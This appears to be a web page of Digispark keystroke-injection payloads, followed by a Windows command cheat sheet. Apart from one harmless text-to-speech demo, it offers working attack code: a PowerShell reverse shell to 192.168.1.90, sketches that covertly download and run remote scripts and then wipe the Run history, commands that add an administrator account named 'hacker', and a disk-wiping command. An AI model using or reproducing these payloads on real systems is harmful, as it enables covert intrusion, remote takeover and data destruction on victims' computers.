Payloads generator for Windows/Linux/Mac
Convert DuckyScripts > Digispark
All the payloads that just works 👍
Say something on command line
Tell something with command line interface 🎭
1#include "DigiKeyboard.h"2void setup() {3 DigiKeyboard.sendKeyStroke(0);4 DigiKeyboard.delay(100);5 DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);6 DigiKeyboard.delay(100);7 DigiKeyboard.print("powershell");8 DigiKeyboard.sendKeyStroke(KEY_ENTER);9 DigiKeyboard.delay(3000);10 DigiKeyboard.print("Add-Type -AssemblyName System.speech");11 DigiKeyboard.sendKeyStroke(KEY_ENTER);12 DigiKeyboard.delay(100);13 DigiKeyboard.print("$speak = New-Object System.Speech.Synthesis.SpeechSynthesizer");14 DigiKeyboard.sendKeyStroke(KEY_ENTER);15 DigiKeyboard.delay(100);16 DigiKeyboard.print("$speak.Speak(\"hello from digispark.\")");17 DigiKeyboard.sendKeyStroke(KEY_ENTER);18 DigiKeyboard.delay(100);19 DigiKeyboard.print("exit");20 DigiKeyboard.sendKeyStroke(KEY_ENTER);21 DigiKeyboard.delay(100);22 DigiKeyboard.sendKeyStroke(KEY_SPACE, MOD_ALT_LEFT);23 DigiKeyboard.sendKeyStroke(KEY_N);24}2526void loop() {27}
Create administrator account Reverse shell windows
Reverse shell on windows
First, on the host attacker machine create a php server and upload the payload
1# Start the php server2sudo php -S 0.0.0.0:80 -t /Users/zeeph/Desktop/
1# Create a file called payload.ps12$client=New-Object System.Net.Sockets.TCPClient('192.168.1.90',1234);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()3$sm=(New-Object Net.Sockets.TCPClient('192.168.1.90',1234)).GetStream();[byte[]]$bt=0..65535|%{0};while(($i=$sm.Read($bt,0,$bt.Length)) -ne 0){;$d=(New-Object Text.ASCIIEncoding).GetString($bt,0,$i);$st=([text.encoding]::ASCII).GetBytes((iex $d 2>&1));$sm.Write($st,0,$st.Length)}

1# Listen all the tcp connexion on port 12342ncat -nvlp [PORT]34# Shell spawner linux only !5python -c 'import pty; pty.spawn("/bin/sh")'

1#include "DigiKeyboard.h"23void setup() {4 DigiKeyboard.update();5 DigiKeyboard.sendKeyStroke(0);6 DigiKeyboard.delay(1000);7 DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);8 DigiKeyboard.delay(200);9 DigiKeyboard.println("powershell -windowstyle hidden -nop \"IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.90/payload.ps1');\"");10 DigiKeyboard.delay(1500);11 DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);12 DigiKeyboard.delay(200);13 DigiKeyboard.println("powershell \"Remove-ItemProperty -Path 'HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU' -Name '*' -ErrorAction SilentlyContinue\"");14}1516void loop() {17}
Python script with digispark ⚆
1#include "DigiKeyboard.h"2void setup() {3 DigiKeyboard.delay(5000);4 DigiKeyboard.sendKeyStroke(0);5 DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);6 DigiKeyboard.delay(300);7 DigiKeyboard.print("powershell -windowstyle hidden");8 DigiKeyboard.sendKeyStroke(KEY_ENTER, MOD_CONTROL_LEFT + MOD_SHIFT_LEFT);9 DigiKeyboard.delay(500);10 DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT);11 DigiKeyboard.delay(100);12 DigiKeyboard.sendKeyStroke(KEY_ENTER);13 DigiKeyboard.delay(1000);14 DigiKeyboard.print("$source = \"http://192.168.1.90/payload.py\"; $destination = \"C:/Documents\"; Invoke-WebRequest $source -OutFile $destination;");15 DigiKeyboard.sendKeyStroke(KEY_ENTER);16 DigiKeyboard.delay(5000);17 DigiKeyboard.print("python C:/Documents/payload.py");18 DigiKeyboard.sendKeyStroke(KEY_ENTER);19 digitalWrite(1, HIGH);20 DigiKeyboard.delay(90000);21 digitalWrite(1, LOW);22 DigiKeyboard.delay(5000);23}24void loop() {25}
Useful commands
Windows commands
CMD - Windows commands
The equivalent to the Linux command ;
as in
1echo "command 1" ; echo "command 2"
is
1dir & whoami
Dealing with files and stuff
Delete file
1del
Create folder/directory
1md folderName
Show hidden files
1dir /A
Print out file content, like cat
1type file.txt
grep files
1findstr file.txt
Network
Show network information
1netstat -an
Show network adapter info
1ipconfig
Ping another machine
1ping 192.168.1.101
Traceroute
1tracert
Processes
List processes
1tasklist
Kill a process
1taskkill /PID 1532 /F
Users
1net users23# Add user4net user hacker my_password /add5net localgroup Administrator hacker /add67# Check if you are part of a domain8net localgroup /domain910# List all users in a domain11net users /domain
Other
Shutdown
1# Shutdown now2shutdown /s /t 034# Restart5shutdown /r /t 0
ciper - Clear data/shred
1Shreds the whole machine2ciper /w:C:\